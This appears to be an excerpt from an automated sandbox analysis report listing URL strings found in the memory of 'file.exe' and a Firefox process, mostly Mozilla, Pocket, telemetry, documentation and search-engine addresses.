Source: firefox.exe, 00000021.00000003.3415533966.00000169CAC98000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3157569738.00000169CCD94000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3254249599.00000169CCD94000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3257562106.00000169CC3E7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/Firefox/118.0.1/20230927232528/WINNT_x86_64-msvc-x64/en-US/release
Source: file.exe, 00000000.00000002.2426906219.0000000028C5C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: file.exe, 00000000.00000002.2426906219.0000000028C5C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: firefox.exe, 00000021.00000003.3388400967.00000169CB2CE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mo
Source: firefox.exe, 00000021.00000003.3303414952.00000169CB3CE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1189266
Source: firefox.exe, 00000021.00000003.3303414952.00000169CB3CE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3301896945.00000169CB3C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1193802
Source: firefox.exe, 00000021.00000003.3303414952.00000169CB3CE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1207993
Source: firefox.exe, 00000021.00000003.3303414952.00000169CB3CE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1283601
Source: firefox.exe, 00000021.00000003.3070395841.00000169D5F5C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1539075
Source: firefox.exe, 00000021.00000003.3070395841.00000169D5F5C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1584464
Source: firefox.exe, 00000021.00000003.3070395841.00000169D5F5C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1607439
Source: firefox.exe, 00000021.00000003.3070395841.00000169D5F5C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1616739
Source: firefox.exe, 00000021.00000003.3303414952.00000169CB3CE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3301896945.00000169CB3C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1678448
Source: firefox.exe, 00000021.00000003.3303414952.00000169CB3CE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=792480
Source: file.exe, 00000000.00000002.2426906219.0000000028B90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ep
Source: file.exe, 00000000.00000002.2426906219.0000000028B90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.epnacl
Source: file.exe, 00000000.00000002.2426906219.0000000028B90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000002.2426906219.0000000028B90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: firefox.exe, 00000021.00000003.2928245347.00000169C974A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.2921875534.00000169C9707000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.2926052120.00000169C9729000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.2918607295.00000169C9500000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://completion.amazon.com/search/complete?q=
Source: firefox.exe, 00000021.00000003.3342073093.00000169D1A86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net/chains/remote-settings.content-signature.mozilla.org-202
Source: file.exe, 00000000.00000002.2426906219.0000000028C5C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: file.exe, 00000000.00000002.2426906219.0000000028C5C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: firefox.exe, 00000021.00000003.3346404548.00000169CE43E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3139946227.00000169D9D82000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3115451545.00000169D9D82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com
Source: firefox.exe, 00000021.00000003.3233159876.00000169D9B41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/
Source: firefox.exe, 00000021.00000003.3233159876.00000169D9B41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/v1/tiles
Source: firefox.exe, 00000021.00000003.3017638643.00000169D9E23000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3074656356.00000169D9E1E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3022138525.00000169D9E1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3092638388.00000169D9E07000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crbug.com/993268
Source: firefox.exe, 00000021.00000003.3342073093.00000169D1A69000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTabMozRequestFullSc
Source: firefox.exe, 00000021.00000003.3342073093.00000169D1A69000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#EncryptionPreventDefaultFromP
Source: firefox.exe, 00000021.00000003.3342073093.00000169D1A69000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsingDocumentWriteIgnored
Source: firefox.exe, 00000021.00000003.3017638643.00000169D9E23000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3074656356.00000169D9E1E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3022138525.00000169D9E1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3092638388.00000169D9E07000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/API/ElementCSSInlineStyle/style#setting_styles)
Source: firefox.exe, 00000021.00000003.3017638643.00000169D9E23000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3074656356.00000169D9E1E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3022138525.00000169D9E1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3092638388.00000169D9E07000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for-await...of
Source: firefox.exe, 00000021.00000003.3017638643.00000169D9E23000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3074656356.00000169D9E1E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3022138525.00000169D9E1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3092638388.00000169D9E07000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements#using_the_lifecycl
Source: firefox.exe, 00000021.00000003.3114351181.00000169C552F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.c
Source: firefox.exe, 00000021.00000003.3038682023.00000169C91F1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.2928245347.00000169C974A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.2921875534.00000169C9707000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3185884753.00000169C91ED000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.2945016506.00000169C91EE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3277423636.00000169C91F2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.2947727830.00000169C91EF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.2926052120.00000169C9729000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.2918607295.00000169C9500000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3180848260.00000169C91F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/
Source: firefox.exe, 00000021.00000003.3332787650.00000169D9955000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/?t=ffab&q=
Source: firefox.exe, 00000021.00000003.3397548903.00000169D1B86000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3335063517.00000169D9776000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3117298349.00000169D977A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3236635003.00000169D9776000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3152110944.00000169D1B82000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3341844231.00000169D1B86000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3245644401.00000169D1B82000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3143474951.00000169D977A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-api-proxy.cdn.mozilla.net/
Source: firefox.exe, 00000021.00000003.3304973847.00000169CC1E9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/673d2808-e5d8-41b9-957
Source: firefox.exe, 00000021.00000003.3228316187.00000169CBEDF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3304973847.00000169CC1E9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3197600394.00000169CBEDF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3305729719.00000169CAD1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3263880810.00000169CA0FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/706c7a85-cf23-442e-8a9
Source: firefox.exe, 00000021.00000003.3220435804.00000169D9FBF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/f0f51715-7f5e-48de-839
Source: firefox.exe, 00000021.00000003.3343769364.00000169CE4FD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com
Source: firefox.exe, 00000021.00000003.3329338474.00000169D9BB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/
Source: firefox.exe, 00000021.00000003.3401672896.00000169CAE81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/ms-language-packs/records/
Source: firefox.exe, 00000021.00000003.3391531439.00000169CAEF5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/monitor/collections/changes/changeset?_expe
Source: firefox.exe, 00000021.00000003.3353641675.00000169CC334000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com/
Source: firefox.exe, 00000021.00000003.3397548903.00000169D1B86000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3335063517.00000169D9776000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3117298349.00000169D977A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3236635003.00000169D9776000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3152110944.00000169D1B82000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3341844231.00000169D1B86000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3245644401.00000169D1B82000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3143474951.00000169D977A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/
Source: firefox.exe, 00000021.00000003.3374410709.00000169D9DAB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3236635003.00000169D9776000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3143474951.00000169D977A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=
Source: firefox.exe, 00000021.00000003.3335063517.00000169D9776000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3117298349.00000169D977A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3236635003.00000169D9776000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3143474951.00000169D977A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l
Source: firefox.exe, 00000021.00000003.3143474951.00000169D977A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=bas
Source: firefox.exe, 00000021.00000003.3139946227.00000169D9DAB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3374410709.00000169D9DAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtabL
Source: firefox.exe, 00000021.00000003.3139946227.00000169D9DAB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3374410709.00000169D9DAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtabC
Source: firefox.exe, 00000021.00000003.3139946227.00000169D9DAB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3374410709.00000169D9DAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtabA
Source: firefox.exe, 00000021.00000003.3139946227.00000169D9DAB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3374410709.00000169D9DAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtabE
Source: firefox.exe, 00000021.00000003.3139946227.00000169D9DAB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3374410709.00000169D9DAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtabG
Source: firefox.exe, 00000021.00000003.3139946227.00000169D9DAB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3374410709.00000169D9DAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab?
Source: firefox.exe, 00000021.00000003.3139946227.00000169D9DAB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3374410709.00000169D9DAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtabN
Source: firefox.exe, 00000021.00000003.3335063517.00000169D9776000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3117298349.00000169D977A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3236635003.00000169D9776000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3143474951.00000169D977A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tabL
Source: firefox.exe, 00000021.00000003.3139946227.00000169D9DAB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3374410709.00000169D9DAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtabI
Source: firefox.exe, 00000021.00000003.3245644401.00000169D1B82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more
Source: firefox.exe, 00000021.00000003.3139946227.00000169D9DAB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3374410709.00000169D9DAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more/
Source: firefox.exe, 00000021.00000003.3335063517.00000169D9776000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3117298349.00000169D977A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3236635003.00000169D9776000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3143474951.00000169D977A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendationsS
Source: firefox.exe, 00000021.00000003.3335063517.00000169D9776000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3117298349.00000169D977A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3236635003.00000169D9776000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3143474951.00000169D977A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendationsS7
Source: firefox.exe, 00000021.00000003.3335063517.00000169D9776000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3117298349.00000169D977A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3236635003.00000169D9776000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3143474951.00000169D977A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=basic
Source: firefox.exe, 00000021.00000003.3017638643.00000169D9E23000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3074656356.00000169D9E1E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3022138525.00000169D9E1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3092638388.00000169D9E07000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/google/closure-compiler/issues/3177
Source: firefox.exe, 00000021.00000003.3080819409.00000169D9EF0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3073977083.00000169D9EE5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3037729550.00000169D9EF1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3277154502.00000169D9EE5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3090339911.00000169D9EE6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3419032037.00000169D9EE4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3020553973.00000169D9EEB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3272670554.00000169D9ED1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3019064071.00000169D9EEB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3031496954.00000169D9EEB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query-all.ts
Source: firefox.exe, 00000021.00000003.3080819409.00000169D9EF0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3073977083.00000169D9EE5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3037729550.00000169D9EF1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3277154502.00000169D9EE5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3090339911.00000169D9EE6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3419032037.00000169D9EE4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3020553973.00000169D9EEB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3272670554.00000169D9ED1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3019064071.00000169D9EEB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3031496954.00000169D9EEB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query.ts
Source: firefox.exe, 00000021.00000003.3017638643.00000169D9E23000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3074656356.00000169D9E1E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3022138525.00000169D9E1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3092638388.00000169D9E07000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/issues/1266
Source: firefox.exe, 00000021.00000003.3017638643.00000169D9E23000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3074656356.00000169D9E1E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3022138525.00000169D9E1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3092638388.00000169D9E07000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/microsoft/TypeScript/issues/338).
Source: firefox.exe, 00000021.00000003.2921875534.00000169C9707000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.2926052120.00000169C9729000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.2918607295.00000169C9500000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshots
Source: firefox.exe, 00000021.00000003.3070395841.00000169D5F5C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/blob/master/css-grid-2/MASONRY-EXPLAINER.md
Source: firefox.exe, 00000021.00000003.3070395841.00000169D5F5C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/issues/4650
Source: firefox.exe, 00000021.00000003.3335063517.00000169D9776000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3117298349.00000169D977A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3236635003.00000169D9776000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3377874942.00000169D9792000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3143474951.00000169D977A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/zertosh/loose-envify)
Source: firefox.exe, 00000021.00000003.3373672563.00000169CBCC1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3399821667.00000169CBCC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com/
Source: firefox.exe, 00000021.00000003.3070395841.00000169D5F5C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gpuweb.github.io/gpuweb/
Source: firefox.exe, 00000021.00000003.3415678742.00000169CAC8D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://identity.mozilla.com/apps/relay
Source: firefox.exe, 00000021.00000003.3139946227.00000169D9DAB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3374410709.00000169D9DAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://img-getpocket.cdn.mozilla.net/X
Source: file.exe, 00000000.00000002.2426906219.0000000028C5C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: firefox.exe, 00000021.00000003.3415887521.00000169CAC6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org
Source: firefox.exe, 00000021.00000003.3402637231.00000169D9740000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3146184459.00000169D9741000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3239166770.00000169D9741000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit
Source: firefox.exe, 00000021.00000003.3414526277.00000169CACBD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit/firefox-desktop/events/1/4a2f1980-72d4-4e52-ac06-64361
Source: firefox.exe, 00000021.00000003.3399821667.00000169CBCC1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3400899355.00000169CAF85000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3413469989.00000169CAF89000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit/firefox-desktop/metrics/1/52db9a1c-f748-48fa-a9e3-6dbf
Source: firefox.exe, 00000021.00000003.3389754862.00000169CAFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit/firefox-desktop/top-sites/1/d3698c60-da91-4f8c-b7c7-e1
Source: firefox.exe, 00000021.00000003.3397835645.00000169CD87C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3391857028.00000169CAEE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit/messaging-system/undesired-events/1/19dc561a-517b-4875
Source: firefox.exe, 00000021.00000003.3397835645.00000169CD87C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3391531439.00000169CAEF5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit/messaging-system/undesired-events/1/39e48eef-5b6b-464c
Source: firefox.exe, 00000021.00000003.3400687801.00000169CAFCA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3389754862.00000169CAFCA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3392258143.00000169CAECB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit/messaging-system/undesired-events/1/e86bff9f-a9ea-409f
Source: firefox.exe, 00000021.00000003.3335063517.00000169D9776000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3117298349.00000169D977A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3236635003.00000169D9776000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3143474951.00000169D977A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submits
Source: firefox.exe, 00000021.00000003.3017638643.00000169D9E23000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3074656356.00000169D9E1E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3022138525.00000169D9E1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3092638388.00000169D9E07000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://infra.spec.whatwg.org/#ascii-whitespace
Source: firefox.exe, 00000021.00000003.3071622639.00000169CE4A4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3395242716.00000169CB5D1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3344434976.00000169CE4A4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3154252426.00000169CE4A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schema
